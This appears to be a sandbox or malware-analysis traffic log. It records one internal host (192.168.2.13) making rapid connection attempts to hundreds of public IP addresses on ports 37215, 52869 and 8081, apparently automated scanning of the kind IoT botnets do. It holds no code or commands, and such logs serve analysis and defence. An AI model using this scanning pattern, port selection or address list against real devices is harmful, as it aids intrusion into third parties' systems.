Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	197.160.86.174
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	208.119.172.29
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	41.13.52.210
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	23.203.83.127
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	157.212.131.188
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	197.90.119.119
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	41.188.170.216
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	41.10.48.50
Jul 20, 2024 23:05:42.505420923 CEST	44719	37215	192.168.2.13	197.212.6.224
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	137.113.210.5
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	121.27.111.253
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	138.219.240.186
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	190.130.47.79
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	97.78.4.42
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	82.101.192.156
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	191.27.19.70
Jul 20, 2024 23:05:42.505913019 CEST	43695	52869	192.168.2.13	182.34.44.124
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	25.69.27.108
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	79.123.99.120
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	196.205.125.141
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	100.141.37.17
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	111.106.188.31
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	133.186.10.243
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	42.138.237.235
Jul 20, 2024 23:05:42.506370068 CEST	43439	8081	192.168.2.13	138.104.147.205
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	157.59.0.132
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	157.17.85.100
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	197.113.140.31
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	157.119.115.133
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	41.13.26.239
Jul 20, 2024 23:05:42.507735014 CEST	44719	37215	192.168.2.13	83.206.164.177
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	197.141.221.126
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	157.0.108.222
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	157.36.231.7
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	129.142.127.42
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	128.243.111.143
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	2.248.177.196
Jul 20, 2024 23:05:42.508660078 CEST	44719	37215	192.168.2.13	41.158.40.212
Jul 20, 2024 23:05:42.508661032 CEST	44719	37215	192.168.2.13	157.231.16.246
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	197.130.95.65
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	95.232.215.63
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	41.125.83.112
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	197.18.37.228
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	157.191.238.139
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	41.114.145.26
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	197.134.53.11
Jul 20, 2024 23:05:42.509536982 CEST	44719	37215	192.168.2.13	153.19.68.159
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	183.204.136.218
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	96.54.231.78
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	59.50.184.18
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	184.4.10.223
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	12.16.167.142
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	152.130.118.54
Jul 20, 2024 23:05:42.510054111 CEST	43439	8081	192.168.2.13	40.40.26.13
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	84.203.138.60
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	170.146.93.159
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	133.228.0.255
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	184.188.206.192
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	179.222.98.13
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	134.183.245.76
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	160.138.136.243
Jul 20, 2024 23:05:42.511322975 CEST	43695	52869	192.168.2.13	121.196.211.6
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	203.174.3.79
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	188.41.255.218
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	77.105.176.197
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	148.141.121.169
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	185.150.182.190
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	61.171.129.68
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	92.123.90.236
Jul 20, 2024 23:05:42.511569977 CEST	43695	52869	192.168.2.13	191.106.234.118
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	78.236.101.213
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	144.238.42.219
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	138.163.103.112
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	141.177.86.101
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	114.240.31.144
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	113.135.5.178
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	220.78.125.162
Jul 20, 2024 23:05:42.512152910 CEST	43439	8081	192.168.2.13	74.130.193.159
Jul 20, 2024 23:05:42.514496088 CEST	44719	37215	192.168.2.13	197.122.201.28
Jul 20, 2024 23:05:42.514496088 CEST	44719	37215	192.168.2.13	60.60.230.181
Jul 20, 2024 23:05:42.514496088 CEST	44719	37215	192.168.2.13	197.150.148.231
Jul 20, 2024 23:05:42.514497042 CEST	44719	37215	192.168.2.13	197.188.93.254
Jul 20, 2024 23:05:42.514497042 CEST	44719	37215	192.168.2.13	171.164.182.99
Jul 20, 2024 23:05:42.514497042 CEST	43439	8081	192.168.2.13	1.113.165.106
Jul 20, 2024 23:05:42.514497042 CEST	43439	8081	192.168.2.13	95.35.74.71
Jul 20, 2024 23:05:42.514497042 CEST	43439	8081	192.168.2.13	71.98.237.227
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	77.17.166.115
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	132.169.74.52
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	117.149.216.168
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	204.36.181.161
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	140.66.110.118
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	103.243.7.39
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	203.92.41.121
Jul 20, 2024 23:05:42.514962912 CEST	43695	52869	192.168.2.13	203.198.173.236
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	206.22.37.87
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	208.41.47.11
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	179.109.3.69
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	69.1.246.87
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	68.217.69.229
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	50.141.93.124
Jul 20, 2024 23:05:42.515714884 CEST	43439	8081	192.168.2.13	190.79.60.170
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	103.49.145.60
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	206.40.243.11
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	144.91.130.201
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	174.203.88.124
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	99.168.119.188
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	24.203.255.161
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	221.189.93.168
Jul 20, 2024 23:05:42.516226053 CEST	43695	52869	192.168.2.13	45.218.132.156
Jul 20, 2024 23:05:42.518208981 CEST	44719	37215	192.168.2.13	157.102.72.60
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	58.137.158.0
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	106.148.119.121
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	165.210.191.137
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	180.127.15.238
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	12.104.250.77
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	74.70.101.62
Jul 20, 2024 23:05:42.518208981 CEST	43439	8081	192.168.2.13	113.186.3.19
Jul 20, 2024 23:05:42.518533945 CEST	43439	8081	192.168.2.13	155.23.58.115
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	110.203.115.173
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	149.99.178.213
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	4.65.100.232
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	161.81.165.200
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	99.183.133.77
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	189.218.204.214
Jul 20, 2024 23:05:42.518534899 CEST	43439	8081	192.168.2.13	131.187.72.75
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	171.56.186.226
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	148.109.240.134
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	60.243.75.169
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	132.104.105.56
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	197.142.31.162
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	166.149.13.89
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	134.47.185.158
Jul 20, 2024 23:05:42.519157887 CEST	43695	52869	192.168.2.13	54.2.202.56
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	13.179.98.174
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	179.53.117.226
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	141.107.138.186
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	71.52.73.94
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	42.85.52.56
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	126.193.54.184
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	195.195.0.208
Jul 20, 2024 23:05:42.520493031 CEST	43695	52869	192.168.2.13	217.194.245.226
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	69.169.245.124
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	157.196.90.195
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	80.13.235.196
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	185.214.203.241
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	120.10.205.153
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	130.190.186.230
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	199.69.253.227
Jul 20, 2024 23:05:42.520878077 CEST	43439	8081	192.168.2.13	82.61.16.245
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	39.105.191.247
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	14.253.157.55
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	112.86.7.178
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	50.12.161.43
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	196.137.185.234
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	207.168.75.126
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	57.24.160.108
Jul 20, 2024 23:05:42.520983934 CEST	43439	8081	192.168.2.13	130.33.111.158
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	176.131.232.4
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	173.172.203.100
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	124.161.102.195
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	79.49.5.36
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	42.207.238.74
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	141.116.76.47
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	156.157.165.224
Jul 20, 2024 23:05:42.524214029 CEST	43439	8081	192.168.2.13	103.57.230.141
Jul 20, 2024 23:05:42.524533033 CEST	43695	52869	192.168.2.13	2.25.67.139
Jul 20, 2024 23:05:42.524533033 CEST	43695	52869	192.168.2.13	83.8.157.145
Jul 20, 2024 23:05:42.525191069 CEST	43439	8081	192.168.2.13	53.115.43.54
Jul 20, 2024 23:05:42.525191069 CEST	43439	8081	192.168.2.13	170.212.107.44
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	54.4.235.224
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	70.99.230.158
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	203.78.134.75
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	162.148.188.117
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	172.72.187.115
Jul 20, 2024 23:05:42.525191069 CEST	43695	52869	192.168.2.13	57.200.27.16
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	172.118.133.193
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	36.41.128.172
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	190.254.143.142
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	67.1.207.105
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	179.69.131.26
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	88.111.192.233
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	117.149.102.232
Jul 20, 2024 23:05:42.525763035 CEST	43695	52869	192.168.2.13	85.170.32.125
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	187.80.13.136
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	20.27.185.208
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	148.14.45.110
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	168.91.254.103
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	53.239.4.87
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	112.228.235.189
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	120.248.16.115
Jul 20, 2024 23:05:42.526998043 CEST	43439	8081	192.168.2.13	68.111.100.67
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	173.43.81.14
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	90.100.143.130
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	90.62.138.121
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	71.160.9.77
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	169.218.43.223
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	194.243.241.228
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	120.233.134.82
Jul 20, 2024 23:05:42.527276993 CEST	43695	52869	192.168.2.13	218.8.199.218
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	209.61.118.111
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	36.34.17.225
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	190.184.247.49
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	12.74.148.91
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	74.96.19.187
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	157.61.107.93
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	218.151.175.247
Jul 20, 2024 23:05:42.529599905 CEST	43695	52869	192.168.2.13	147.13.231.81
Jul 20, 2024 23:05:42.530736923 CEST	43439	8081	192.168.2.13	109.157.195.189
Jul 20, 2024 23:05:42.530738115 CEST	43439	8081	192.168.2.13	108.144.210.100
Jul 20, 2024 23:05:42.530738115 CEST	43439	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:42.530738115 CEST	43439	8081	192.168.2.13	71.97.85.124
Jul 20, 2024 23:05:42.530738115 CEST	43695	52869	192.168.2.13	212.2.16.100
Jul 20, 2024 23:05:42.530738115 CEST	43695	52869	192.168.2.13	47.252.71.80
Jul 20, 2024 23:05:42.530738115 CEST	43695	52869	192.168.2.13	216.163.123.248
Jul 20, 2024 23:05:42.530738115 CEST	43695	52869	192.168.2.13	79.95.142.127
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	104.141.140.56
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	84.9.32.205
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	122.42.21.233
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	18.121.28.212
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	221.19.107.44
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	57.185.124.210
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	87.112.239.159
Jul 20, 2024 23:05:42.531075954 CEST	43695	52869	192.168.2.13	141.105.184.73
Jul 20, 2024 23:05:42.532931089 CEST	43439	8081	192.168.2.13	99.70.29.112
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	52.183.4.181
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	141.61.84.249
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	179.175.62.202
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	131.223.219.210
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	142.5.156.44
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	190.201.165.205
Jul 20, 2024 23:05:42.532931089 CEST	43695	52869	192.168.2.13	165.24.108.149
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	195.214.211.145
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	155.84.255.53
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	54.234.218.74
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	145.211.248.21
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	198.28.183.99
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	178.98.181.49
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	65.59.23.119
Jul 20, 2024 23:05:42.533216953 CEST	43695	52869	192.168.2.13	107.157.186.209
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	201.84.17.109
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	58.208.98.238
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	86.46.65.58
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	128.182.131.194
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	217.220.59.11
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	75.178.244.190
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	100.210.42.146
Jul 20, 2024 23:05:42.535259962 CEST	43695	52869	192.168.2.13	92.70.112.120
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	57.57.237.2
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	223.84.78.174
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	17.167.239.49
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	1.72.107.133
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	68.166.113.228
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	128.143.135.221
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	120.145.43.184
Jul 20, 2024 23:05:42.535728931 CEST	43695	52869	192.168.2.13	211.57.212.232
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	154.71.27.238
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	27.146.217.168
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	9.39.25.145
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	47.9.102.234
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	9.197.141.155
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	85.184.128.66
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	136.105.164.67
Jul 20, 2024 23:05:42.537838936 CEST	43695	52869	192.168.2.13	87.7.126.124
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	123.58.174.32
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	151.204.143.244
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	120.54.121.65
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	117.184.57.121
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	140.191.78.1
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	153.81.254.40
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	19.101.91.140
Jul 20, 2024 23:05:42.537960052 CEST	43695	52869	192.168.2.13	63.144.125.115
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	188.34.68.170
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	90.47.78.73
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	187.140.72.191
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	9.215.167.76
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	52.149.92.238
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	193.107.178.185
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	169.7.169.89
Jul 20, 2024 23:05:42.539546013 CEST	43695	52869	192.168.2.13	52.88.231.95
Jul 20, 2024 23:05:42.540705919 CEST	43695	52869	192.168.2.13	41.121.158.240
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	83.233.168.103
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	122.217.85.115
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	70.144.22.153
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	121.210.4.137
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	148.27.235.67
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	145.167.57.28
Jul 20, 2024 23:05:42.540707111 CEST	43695	52869	192.168.2.13	158.243.30.81
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	140.191.240.39
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	218.143.209.9
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	141.210.116.66
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	44.21.255.214
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	143.233.190.88
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	65.254.21.56
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	207.108.106.48
Jul 20, 2024 23:05:42.541306019 CEST	43695	52869	192.168.2.13	182.141.184.224
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	181.146.208.210
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	177.191.241.43
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	136.92.68.13
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	31.70.55.174
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	96.139.124.159
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	209.44.149.220
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	113.139.176.10
Jul 20, 2024 23:05:42.543129921 CEST	43695	52869	192.168.2.13	82.49.166.68
Jul 20, 2024 23:05:42.544509888 CEST	43695	52869	192.168.2.13	204.180.27.246
Jul 20, 2024 23:05:42.544509888 CEST	43695	52869	192.168.2.13	70.101.182.16
Jul 20, 2024 23:05:42.544509888 CEST	43695	52869	192.168.2.13	87.86.69.47
Jul 20, 2024 23:05:42.544509888 CEST	43695	52869	192.168.2.13	207.95.90.71
Jul 20, 2024 23:05:42.544509888 CEST	43695	52869	192.168.2.13	43.204.75.0
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	85.223.177.47
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	102.7.134.215
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	58.46.187.113
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	66.78.237.144
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	220.208.74.97
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	120.248.227.146
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	50.31.160.238
Jul 20, 2024 23:05:42.544701099 CEST	43695	52869	192.168.2.13	13.122.171.86
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	44.76.49.187
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	42.62.239.222
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	27.22.123.117
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	102.18.65.185
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	185.244.8.162
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	164.108.8.93
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	107.214.181.57
Jul 20, 2024 23:05:42.546892881 CEST	43695	52869	192.168.2.13	185.229.129.7
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	96.18.230.116
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	93.124.110.106
